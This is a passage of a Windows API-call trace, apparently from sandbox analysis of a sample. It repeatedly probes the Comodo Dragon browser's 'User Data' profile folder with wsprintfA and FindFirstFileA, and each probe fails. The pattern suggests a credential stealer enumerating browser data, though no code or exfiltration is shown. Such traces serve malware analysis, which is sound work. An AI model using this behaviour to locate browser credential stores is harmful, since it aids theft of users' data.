[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.790] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.790] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.791] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.791] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
